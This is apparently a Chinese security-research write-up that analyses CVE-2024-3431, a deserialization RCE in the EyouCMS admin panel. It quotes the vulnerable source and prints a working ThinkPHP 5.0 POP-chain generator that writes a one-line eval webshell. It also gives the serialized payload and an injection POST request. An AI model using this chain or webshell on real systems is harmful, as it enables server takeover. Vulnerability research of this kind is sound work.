易优内容管理系统(EyouCms) 隶属于海口快推科技有限公司,专注中小型企业信息传播解决方案,利用网络传递信息在一定程度上提高了办事的效率,提高企业的竞争力。EyouCms 是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)。以模板多、易优化、开源而闻名,是国内新锐的 PHP 开源网站管理系统,也是最受用户好评的 PHP 类 CMS 系统。
EyouCms版本v.1.5.6在后台组件文件/login.php?m=admin&c=Field&a=channel_edit中,通过channel_id参数进行反序列化,可远程执行命令。
版本要求:<=v1.5..6
EyouCMS 下载地址 更新日志-易优CMS
情报分析
NVD - CVE-2024-3431
根据CVE官方提供的信息来看漏洞影响路径是/login.php?m=admin&c=Field&a=channel_edit,且我们拿到了关键的信息,漏洞的类型是反序列化。看到这个路径我们大胆的猜测一下a是不是代表着action-方法,c就是对应的控制器。那么m呢,这个可能是对应的模块。
在下方的参考链接中,寻找是否有可用的poc
看来作者设置了访问权限,无法查看。后面就没有什么可用的信息了。
源码分析
既然没有poc可用,我们就要分析分析源码了
EyouCMS 下载地址 更新日志-易优CMS 下载版本v1.5.6 顺便在本地部署一下。
直接访问页面显示数据不存在。看看源码是怎么回事,是还要传什么参数吗!
漏洞点位于\application\admin\controller\Field.php,下面是channel_edit的源码
/*** 编辑-模型字段*/
public function channel_edit()
{$channel_id = input('param.channel_id/d', 0);// if (empty($channel_id)) {// $this->error('参数有误!');// }
if (IS_POST) {if (empty($channel_id)) $this->error("请选择所属模型");
$post = input('post.', '', 'trim');$post['id'] = intval($post['id']);
if ('checkbox' == $post['old_dtype'] && in_array($post['dtype'], ['radio', 'select'])) {$fieldtype_list = model('Field')->getFieldTypeAll('name,title', 'name');$this->error("{$fieldtype_list['checkbox']['title']}不能更改为{$fieldtype_list[$post['dtype']]['title']}!");}
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {$this->error("缺少必填信息!");}
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {$this->error("字段名称格式不正确!");} else if (preg_match('/^type/', $post['name'])) {$this->error("字段名称不允许以type开头!");} else if (preg_match('/^ey_/', $post['name'])) {$this->error("字段名称不允许以 ey_ 开头!");}
$info = model('Channelfield')->getInfo($post['id'], 'ifsystem');if (!empty($info['ifsystem'])) {$this->error('系统字段不允许更改!');}
// 字段类型是否具备筛选功能if (empty($post['IsScreening_status'])) {$post['is_screening'] = 0;}
$old_name = $post['old_name'];/*去除中文逗号,过滤左右空格与空值*/$dfvalue = str_replace(',', ',', $post['dfvalue']);if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {$pattern = ['"', '\'', ';', '&', '?', '='];$dfvalue = func_preg_replace($pattern, '', $dfvalue);}$dfvalueArr = explode(',', $dfvalue);foreach ($dfvalueArr as $key => $val) {$tmp_val = trim($val);if (empty($tmp_val)) {unset($dfvalueArr[$key]);continue;}$dfvalueArr[$key] = $tmp_val;}$dfvalueArr = array_unique($dfvalueArr);$dfvalue = implode(',', $dfvalueArr);/*--end*/
if ('region' == $post['dtype']) {if (!empty($post['region_data'])) {$post['region_data'] = ['region_id' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_id']),'region_ids' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_ids']),'region_names' => preg_replace("/([^\x{4e00}-\x{9fa5}\,\,]+)/u", '', $post['region_data']['region_names']),];$post['dfvalue'] = $post['region_data']['region_id'];$post['region_data'] = serialize($post['region_data']);} else {$this->error("请选择区域范围!");}} else {/*默认值必填字段*/$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {if (empty($dfvalue)) {$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");}}/*--end*/unset($post['region_data']);}
/*当前模型对应的数据表*/$table = Db::name('channeltype')->where('id', $post['channel_id'])->getField('table');$tableName = $table . '_content';$table = PREFIX . $tableName;/*--end*/
/*检测字段是否存在于主表与附加表中*/if (true == $this->fieldLogic->checkChannelFieldList($table, $post['name'], $channel_id, array($old_name))) {$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");}/*--end*/
if (empty($post['typeids'])) {$this->error('请选择可见栏目!');}
/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {$whereArr = [];$dfvalueArr = explode(',', $dfvalue);foreach($dfvalueArr as $key => $val){$whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";}$whereStr = implode(' AND ', $whereArr);if (in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {if (!empty($dfvalueArr[0])) {$new_dfvalue = $dfvalueArr[0];$old_dfvalue_arr = explode(',', $post['old_dfvalue']);if (!in_array($new_dfvalue, $old_dfvalue_arr)) {$new_dfvalue = NULL;}} else {$new_dfvalue = NULL;}} else {$new_dfvalue = '';}Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);}/*end*/if ("checkbox" == $post['dtype']){$dfvalue = explode(',', $dfvalue);if (64 < count($dfvalue)){$dfvalue = array_slice($dfvalue, 0, 64);}$dfvalue = implode(',', $dfvalue);}/*组装完整的SQL语句,并执行编辑字段*/$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);$ntabsql = $fieldinfos[0];$buideType = $fieldinfos[1];$maxlength = $fieldinfos[2];$sql = " ALTER TABLE `$table` CHANGE COLUMN `{$old_name}` $ntabsql ";try {$r = @Db::execute($sql);} catch (\Exception $e) {$this->error('该数据类型不支持切换');}if (false !== $r) {
/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {$whereArr = [];$new_dfvalue = '';$dfvalueArr = explode(',', $dfvalue);foreach($dfvalueArr as $key => $val){if ($key == 0) {$new_dfvalue = $val;}$whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";}$whereArr[] = "(`{$post['name']}` is NULL OR `{$post['name']}` = '')";$whereStr = implode(' AND ', $whereArr);Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);}/*end*/
/*保存更新字段的记录*/if (!empty($post['region_data'])) {$dfvalue = $post['region_data'];unset($post['region_data']);}$newData = array('dfvalue' => $dfvalue,'maxlength' => $maxlength,'define' => $buideType,'update_time' => getTime(),);$data = array_merge($post, $newData);Db::name('channelfield')->where(['id'=>$post['id'],'channel_id'=>$channel_id])->cache(true, null, "channelfield")->save($data);/*--end*/
/*保存栏目与字段绑定的记录*/$field_id = $post['id'];model('ChannelfieldBind')->where(['field_id' => $field_id])->delete();$typeids = $post['typeids'];if (!empty($typeids)) {/*多语言*/if (is_language()) {$attr_name_arr = [];foreach ($typeids as $key => $val) {$attr_name_arr[] = 'tid' . $val;}$new_typeid_arr = Db::name('language_attr')->where(['attr_name' => ['IN', $attr_name_arr],'attr_group' => 'arctype',])->column('attr_value');!empty($new_typeid_arr) && $typeids = $new_typeid_arr;}/*--end*/$addData = [];foreach ($typeids as $key => $val) {if (1 < count($typeids) && empty($val)) {continue;}$addData[] = ['typeid' => $val,'field_id' => $field_id,'add_time' => getTime(),'update_time' => getTime(),];}!empty($addData) && model('ChannelfieldBind')->saveAll($addData);}/*--end*/
/*重新生成数据表字段缓存文件*/try {schemaTable($table);} catch (\Exception $e) {}/*--end*/
$this->success("操作成功!", url('Field/channel_index', array('channel_id' => $post['channel_id'])));} else {$sql = " ALTER TABLE `$table` ADD $ntabsql ";if (false === Db::execute($sql)) {$this->error('操作失败!');}}}
$id = input('param.id/d', 0);$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);if (empty($info)) {$this->error('数据不存在,请联系管理员!');exit;}...
在675行的确有序列化的操作。
漏洞研究
那么我们的思路就很明显了
1,查看$info['dfvalue']是否为可控变量
2,在本系统中找到一条可以反序列化的链
反序列化链分析
先考虑下我们的反序列化链。
思路:可以尝试挖掘一下本系统的链...。[挖掘链子还是很费功夫的...]
看了介绍这是一个基于thinkphp二次开发的系统且thinkphp的版本是5.0,那么我们的思路就来了
在之前的文章中,我介绍了ThinkPHP5.0.0~5.0.23的一条反序列化利用链,其中还涉及到了死亡绕过的技巧。这次我们就可以用上了
ThinkPHP5.0.0~5.0.23反序列化利用链分析_thinkphp 5.0.23 反序列化-CSDN博客
生成链的payload
<?php
namespace think\process\pipes {class Windows {private $files = [];//创建windows对象 让属性files存储Pivot对象($Output,$HasOne)public function __construct($files){$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类}}
}namespace think {abstract class Model{protected $append = [];protected $error = null;public $parent;function __construct($output, $modelRelation){$this->parent = $output; //$this->parent=> think\console\Output;$this->append = array("xxx"=>"getError"); //调用getError 返回this->error$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne}}
}namespace think\model{use think\Model;class Pivot extends Model{function __construct($output, $modelRelation){parent::__construct($output, $modelRelation);}}
}namespace think\model\relation{class HasOne extends OneToOne {}
}
namespace think\model\relation {abstract class OneToOne{protected $selfRelation;protected $bindAttr = [];protected $query;function __construct($query){$this->selfRelation = 0;$this->query = $query; //$query指向Query$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量}}
}namespace think\db {class Query {protected $model;function __construct($model){$this->model = $model; //$this->model=> think\console\Output;}}
}
namespace think\console{class Output{private $handle;protected $styles;function __construct($handle){$this->styles = ['getAttr'];$this->handle =$handle; //$handle->think\session\driver\Memcached}}
}
namespace think\session\driver {class Memcached{protected $handler;function __construct($handle){$this->handler = $handle; //$handle->think\cache\driver\File}}
}namespace think\cache\driver {class File{protected $options=null;protected $tag;function __construct(){$this->options=['expire' => 3600,'cache_subdir' => false,'prefix' => '','path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php','data_compress' => false,];$this->tag = 'xxx';}}
}namespace {$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());$Output = new think\console\Output($Memcached);$model = new think\db\Query($Output);$HasOne = new think\model\relation\HasOne($model);$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));echo serialize($window);echo "<br>";echo base64_encode(serialize($window));
}
生成结果
O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}} TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=
先用payload在本地测试一下
$a="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=";echo unserialize(base64_decode($a));
程序运行不久后生成了我们的木马文件
这证明了我们的链子是可以被利用的!
参数可控分析1
那么接下来就是要考虑$info['dfvalue']是否可控的问题了!可控就代表着该系统的确存在一条反序列化RCE的漏洞。
思路:
1,源码看起
2,黑盒测试+断点调试 通过不断的提交数据反复对比,看看前端功能页面的那个参数对应了这个字段,
3,翻官方提供的开发手册(如果有的话)
开始审代码咯。(下面是简约版,不影响的代码都删除了。//-- 是我写的注释信息可供参考)
public function channel_edit(){
$channel_id = input('param.channel_id/d', 0);// if (empty($channel_id)) {// $this->error('参数有误!');// }
//--不是POST这段代码直接省略$id = input('param.id/d', 0);$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);//--这段涉及数据库查询if (empty($info)) {$this->error('数据不存在,请联系管理员!');//--查询后的数据不能为空exit;}if (!empty($info['ifsystem'])) {//--查询后的数据字段ifsystem要为0$this->error('系统字段不允许更改!');}
//--这些都不不影响
if ('region' == $info['dtype']) {//-- 查询后的数据字段dtype要为'region'// 反序列化默认值参数$dfvalue = unserialize($info['dfvalue']);
方法channel_edit中的unserialize数据$info['dtype']来源涉及到数据库查询,查询的条件是$channel_id与$id。这两个是参数是用户可以输入的。
参考一下channel_id表结构...
通过源码来看若想实现的我们的反序列化数据执行,我们要考虑下面这几件事。
1,输入的$channel_id $id 是这张表的查询条件,
2,查询后的数据不能为空
3,查询后的数据字段ifsystem要为0
4,查询后的数据字段dtype要为'region'
5,要让返回dfvalue成为序列化数据
看看能否通过用户输入数据来影响这张表,或者sql注入也是可以考虑的。
参数可控分析2
那么接下来的思路:在源码中找寻调用此表的更新操作,看看能否更新dfvalue。
在同类的方法中arctype_add中,我们找到了疑似表channelfield的更新操作
开始代码审计咯(这里是源码-未动)
/*** 新增-栏目字段*/
public function arctype_add()
{$channel_id = $this->arctype_channel_id;if (empty($channel_id)) {$this->error('参数有误!');}
if (IS_POST) {$post = input('post.', '', 'trim');
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {$this->error("缺少必填信息!");}
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {$this->error("字段名称格式不正确!");} else if (preg_match('/^ey_/', $post['name'])) {$this->error("字段名称不允许以 ey_ 开头!");}
/*去除中文逗号,过滤左右空格与空值*/$dfvalue = str_replace(',', ',', $post['dfvalue']);if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {$pattern = ['"', '\'', ';', '&', '?', '='];$dfvalue = func_preg_replace($pattern, '', $dfvalue);}$dfvalueArr = explode(',', $dfvalue);foreach ($dfvalueArr as $key => $val) {$tmp_val = trim($val);if (empty($tmp_val)) {unset($dfvalueArr[$key]);continue;}$dfvalueArr[$key] = $tmp_val;}$dfvalueArr = array_unique($dfvalueArr);$dfvalue = implode(',', $dfvalueArr);/*--end*/
/*默认值必填字段*/$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {if (empty($dfvalue)) {$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");}}/*--end*/
/*栏目对应的单页表*/$tableExt = PREFIX . 'single_content';/*--end*/
/*检测字段是否存在于主表与附加表中*/if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");}/*--end*/if ("checkbox" == $post['dtype']){$dfvalue = explode(',', $dfvalue);if (64 < count($dfvalue)){$dfvalue = array_slice($dfvalue, 0, 64);}$dfvalue = implode(',', $dfvalue);}/*组装完整的SQL语句,并执行新增字段*/$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);$ntabsql = $fieldinfos[0];$buideType = $fieldinfos[1];$maxlength = $fieldinfos[2];$table = PREFIX . 'arctype';$sql = " ALTER TABLE `$table` ADD $ntabsql ";if (false !== Db::execute($sql)) {/*保存新增字段的记录*/$newData = array('dfvalue' => $dfvalue,'maxlength' => $maxlength,'define' => $buideType,'ifmain' => 1,'ifsystem' => 0,'sort_order' => 100,'add_time' => getTime(),'update_time' => getTime(),);$data = array_merge($post, $newData);$field_id = Db::name('channelfield')->insertGetId($data);/*--end*/
/*保存栏目与字段绑定的记录*/$typeids = $post['typeids'];if (!empty($typeids)) {/*多语言*/if (is_language()) {$attr_name_arr = [];foreach ($typeids as $key => $val) {$attr_name_arr[] = 'tid' . $val;}$new_typeid_arr = Db::name('language_attr')->where(['attr_name' => ['IN', $attr_name_arr],'attr_group' => 'arctype',])->column('attr_value');!empty($new_typeid_arr) && $typeids = $new_typeid_arr;}/*--end*/$addData = [];foreach ($typeids as $key => $val) {if (1 < count($typeids) && empty($val)) {continue;}$addData[] = ['typeid' => $val,'field_id' => $field_id,'add_time' => getTime(),'update_time' => getTime(),];}!empty($addData) && model('ChannelfieldBind')->saveAll($addData);}
/*重新生成数据表字段缓存文件*/try {schemaTable($table);} catch (\Exception $e) {}/*--end*/
\think\Cache::clear('channelfield');\think\Cache::clear("arctype");$this->success("操作成功!", url('Field/arctype_index'));}$this->error('操作失败');}
/*字段类型列表*/$fieldtype_list = [];$fieldtype_list_tmp = model('Field')->getFieldTypeAll('name,title,ifoption');foreach ($fieldtype_list_tmp as $key => $val) {if (!in_array($val['name'], ['file','media','region'])) {$fieldtype_list[] = $val;}}$assign_data['fieldtype_list'] = $fieldtype_list;/*--end*/
/*模型ID*/$assign_data['channel_id'] = $channel_id;/*--end*/
/*允许编辑的栏目*/$allow_release_channel = Db::name('channeltype')->column('id');$select_html = allow_release_arctype(0, $allow_release_channel);$this->assign('select_html', $select_html);/*--end*/
$this->assign($assign_data);return $this->fetch();
}
下面的我写的说明注释版//-- 为我写的注释
/*** 新增-栏目字段*/public function arctype_add(){$channel_id = $this->arctype_channel_id;if (empty($channel_id)) {$this->error('参数有误!');}
if (IS_POST) {//--我们进入POST代码$post = input('post.', '', 'trim');
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {$this->error("缺少必填信息!");}//--这几个字段都要输入 dtype=xx&title=xx&name=xxx
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {$this->error("字段名称格式不正确!");} else if (preg_match('/^ey_/', $post['name'])) {$this->error("字段名称不允许以 ey_ 开头!");}//--判断name是否合法 我们直接user就可以了
/*去除中文逗号,过滤左右空格与空值*/$dfvalue = str_replace(',', ',', $post['dfvalue']);if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {$pattern = ['"', '\'', ';', '&', '?', '='];$dfvalue = func_preg_replace($pattern, '', $dfvalue);}$dfvalueArr = explode(',', $dfvalue);//--不影响我们的dfvalueforeach ($dfvalueArr as $key => $val) {//--不看$tmp_val = trim($val);if (empty($tmp_val)) {unset($dfvalueArr[$key]);continue;}$dfvalueArr[$key] = $tmp_val;}$dfvalueArr = array_unique($dfvalueArr);$dfvalue = implode(',', $dfvalueArr);//-- 不影响$dfvalue/*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}/*默认值必填字段*/$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');//-- 这里可以参考一下数据库if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {//当字段ifoption 为1时$dfvalue 这就是我们需要的if (empty($dfvalue)) {$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");}}/*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}/*栏目对应的单页表*/$tableExt = PREFIX . 'single_content';/*--end*/
/*检测字段是否存在于主表与附加表中*/if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");}/*--end*/if ("checkbox" == $post['dtype']){//--不看$dfvalue = explode(',', $dfvalue);if (64 < count($dfvalue)){$dfvalue = array_slice($dfvalue, 0, 64);}$dfvalue = implode(',', $dfvalue);}/*组装完整的SQL语句,并执行新增字段*/$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);$ntabsql = $fieldinfos[0];$buideType = $fieldinfos[1];$maxlength = $fieldinfos[2];$table = PREFIX . 'arctype';$sql = " ALTER TABLE `$table` ADD $ntabsql ";if (false !== Db::execute($sql)) {//-- 要先使这个sql执行没有错误/*保存新增字段的记录*/$newData = array('dfvalue' => $dfvalue,'maxlength' => $maxlength,'define' => $buideType,'ifmain' => 1,'ifsystem' => 0,'sort_order' => 100,'add_time' => getTime(),'update_time' => getTime(),);$data = array_merge($post, $newData);$field_id = Db::name('channelfield')->insertGetId($data);//--我们的想要的执行的语句
总结上面的
我们需要POST传参type,title,name,dfvalue考虑到我们的目的,
我们要传的参数数据 type=region&title=xxx&name=xxx&$dfvalue={{序列化数据}}
951行会对dype做一次校验,
得到所有类型后,判断你输入的dtype是都在fieldtye_list中其次判断先对应的ifoption要为1
跟入getFieldTypeALL
注意返回的数据会被convert_arr_key转为二维数组
参考下数据库
dtype=要为上面的字段name其中的一种,而region就在其中,且ifoption是为1的
漏洞测试与研究
数据打入
好了!现在准备开始打入数据了
POST /EyouCMS-V1.6.5-UTF8-SP1/login.php?m=admin&c=Field&a=arctype_add HTTP/1.1 Host: 127.0.0.1 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36 Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=r7v9r023ssq6au54hrr8jj44kl; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; admin-treeClicked-Arr=%5B%5D; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=welcome%7CIndex; XDEBUG_SESSION=16574 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 855 dtype=text&title=bbb&name=aaa&dfvalue=O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}}
这里遇到一个问题
在执行if (false !== Db::execute($sql)) { 出错了
ALTER TABLE ey_arctype
ADD xx2
varchar(500) NOT NULL DEFAULT '{{poc}}' COMMENT 'xx1';
通过排查sql 也没有什么错误啊,一直抛错误
可能我这个数据有点奇怪吧,本地执行以下看看
啊......... 原来如此 是varchar(500)有限制长度的我输入反序列化数据已经超过500了,所以无法插入
那我们先删除一些数据,简单的测试下
字段dfvalue成功插入我们的数据
漏洞触发
接下来就是触发漏洞了需要注意的是channel_id与id。通过上面的方式 channel_id是默认的-99
而id是这个与前端的ID值是同步的,我们可以参考这个。
访问/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=546&_ajax=1
调试看一下是否能真正的触发
反序列化漏洞测试完成,比较可惜的是这段序列化数据有长度限制,没能完全将漏洞复现出来。
如果还有其它短一点的序列化链就好了!或者参考CTF中的奇思妙想将这条链给简化更短点也是可以的......